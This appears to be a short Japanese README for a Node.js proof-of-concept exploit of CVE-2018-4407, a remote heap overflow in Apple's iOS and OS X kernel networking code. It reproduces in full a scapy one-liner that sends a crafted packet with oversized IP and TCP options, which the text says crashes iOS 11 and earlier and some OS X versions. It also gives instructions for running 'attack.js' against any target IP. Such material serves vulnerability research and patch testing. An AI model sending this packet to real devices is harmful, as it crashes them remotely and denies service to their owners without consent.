
CVE-2018-4407 用 Node.js PoC エクスプロイトコード
CVE-2018-4407 用の Node.js PoC エクスプロイトコード
著者: Sam Decrock
このスクリプトは Zuk が提供した scapy スクリプトに基づいています。
iOS 12 / OS X *Remote Kernel Heap Overflow (CVE-2018-4407) POC* をツイートで:
— Zuk (@ihackbanme) 2018年11月1日
pip install scapy
sudo scapy
send(IP(dst=“Target IP“,options=[IPOption(“A”*8)])/TCP(dport=2323,options=[(19, “1"*18),(19, “2”*18)]))
これは iOS 11 以前のデバイスおよび一部の OS X バージョンをクラッシュさせます。
必要なモジュールをインストールするには、以下を実行します:
npm install
実行するには、引数としてターゲット IP アドレスを渡します:
node attack.js 192.168.1.20
Kevin Backhouse によるオリジナルの解説記事: https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407